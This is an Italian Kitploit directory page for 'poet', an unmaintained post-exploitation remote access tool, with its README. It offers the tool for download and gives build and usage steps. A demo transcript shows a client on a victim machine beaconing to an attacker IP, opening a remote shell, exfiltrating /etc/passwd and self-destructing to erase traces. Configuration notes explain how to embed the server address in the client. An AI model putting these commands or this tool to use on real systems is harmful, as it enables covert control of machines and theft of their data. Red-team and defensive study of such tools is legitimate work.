Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
poet — [non più mantenuto] Strumento di post-exploitation | Kitploit
Strumenti/GitHubGitHub/offlinemark/poet
RicognizioneGenerazione di PayloadEsfiltrazione DatiPost-ExploitCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubofflinemark/poet

poet

[non più mantenuto] Strumento di post-exploitation

Vedi Repository
181501310 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

poet

Un semplice strumento di post-sfruttamento.

panoramica

Il programma client viene eseguito sulla macchina target ed è configurato con un indirizzo IP (il server) a cui connettersi e una frequenza di connessione. Se il server non è in esecuzione quando il client tenta di connettersi, il client si mette in attesa silenziosamente e riprova al prossimo intervallo. Se invece il server è in esecuzione, l'attaccante ottiene una shell di controllo per gestire il client ed eseguire varie azioni sul target, tra cui:

  • ricognizione
  • shell remota
  • esfiltrazione di file
  • download ed esecuzione
  • autodistruzione

demo

Questo è solo un piccolo esempio di ciò che Poet può fare.

Lo scenario è il seguente: un attaccante ha ottenuto l'accesso alla macchina della vittima, ha scaricato ed eseguito il client. In questo momento non ha il server in esecuzione, ma non c'è problema: il client attende pazientemente. Alla fine l'attaccante è pronto e avvia il server, prima avviando una shell ed eseguendo uname -a, poi esfiltra /etc/passwd. Quindi esce e si scollega dal client, che continua a essere eseguito sul target in attesa della prossima opportunità di connettersi al server. Successivamente, si riconnette, autodistrugge il client, rimuovendo ogni traccia dal target.

Victim's Machine (5.4.3.2):

$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

Attenzione: Dopo aver eseguito questo comando, dovrai eseguire selfdestruct dal server, o uccidere il processo poet-client per fermare il client.

Macchina dell'attaccante (1.2.3.4):

$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

per iniziare

Vai alla pagina delle release e scarica gli ultimi file poet-client e poet-server disponibili.

Poi salta alla sezione Utilizzo qui sotto.

In alternativa, puoi compilare Poet da solo (è abbastanza semplice, vedi sotto).

compilazione

Assicurati di avere gli eseguibili python2.7 e zip disponibili.

$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Questo creerà una directory bin/ che contiene poet-client e poet-server.

utilizzo

Poet è estremamente facile da usare e non richiede altro che la libreria standard di Python (2.7). Per testarlo facilmente, un'invocazione tipica sarebbe:

Terminal 1:

$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Per impostazione predefinita, il client Poet si demonizza e si cancella dal disco, quindi questo comportamento viene soppresso utilizzando i flag --debug e --no-selfdestruct.

Terminal 2:

$ sudo ./poet-server

Per impostazione predefinita, il server deve essere eseguito come root (usando sudo) perché la porta predefinita a cui si lega è la 443. Se ciò ti mette a disagio, ometti semplicemente sudo e usa il flag -p <PORT> sia sul client che sul server. Scegli un numero di porta alto (> 1024).

configurazione

Il file common/config.py contiene varie impostazioni di configurazione opzionali per le build di Poet.

  • AUTH: Token di autenticazione segreto condiviso tra client e server per l'autenticazione del client. Nota che quello predefinito non è affatto segreto. Per qualsiasi uso non di test, si consiglia di modificarlo con un altro valore non indovinabile. Nota che i pacchetti precompilati utilizzano il token di autenticazione predefinito e pubblico.
  • ARCHIVE_DIR: Directory utilizzata dal server per archiviare i file (output di esecuzione, esfil, ricognizione, ecc.).
  • SERVER_IP: Indirizzo IP del server.
  • BEACON_INTERVAL: Secondi tra i beacon del client al server.

Le configurazioni SERVER_IP e BEACON_INTERVAL consentono di incorporare negli eseguibili finali informazioni precedentemente richieste come argomenti della riga di comando, in modo che l'eseguibile finale possa essere semplicemente eseguito senza argomenti. Valori None per uno dei due li fanno tornare al comportamento predefinito (argomento della riga di comando richiesto per SERVER_IP, argomento della riga di comando opzionale per BEACON_INTERVAL).

client

$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet è un'applicazione client/server. Il client viene eseguito sul target e invia beacon al server a un certo intervallo di tempo. L'unico argomento richiesto è l'indirizzo IP dove il server è o sarà in esecuzione. Opzionalmente, può essere seguito dall'intervallo di tempo in secondi per la frequenza dei beacon, che per impostazione predefinita è di 10 minuti. La porta su cui il client deve inviare i beacon può essere specificata con il flag -p. Tutti gli altri flag non verrebbero utilizzati durante l'uso "reale" e esistono principalmente per il debug.

server

$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

Il server viene eseguito sulla macchina dell'utente e resta in ascolto dei beacon dal client. Per impostazione predefinita, ascolta su una porta privilegiata (443) e deve essere eseguito con privilegi (che vengono rapidamente rilasciati dopo il binding). Il flag -p può essere usato per bypassare questo aspetto selezionando una porta non privilegiata su cui rimanere in ascolto (>1024).

estensibilità

Scarica lo strumento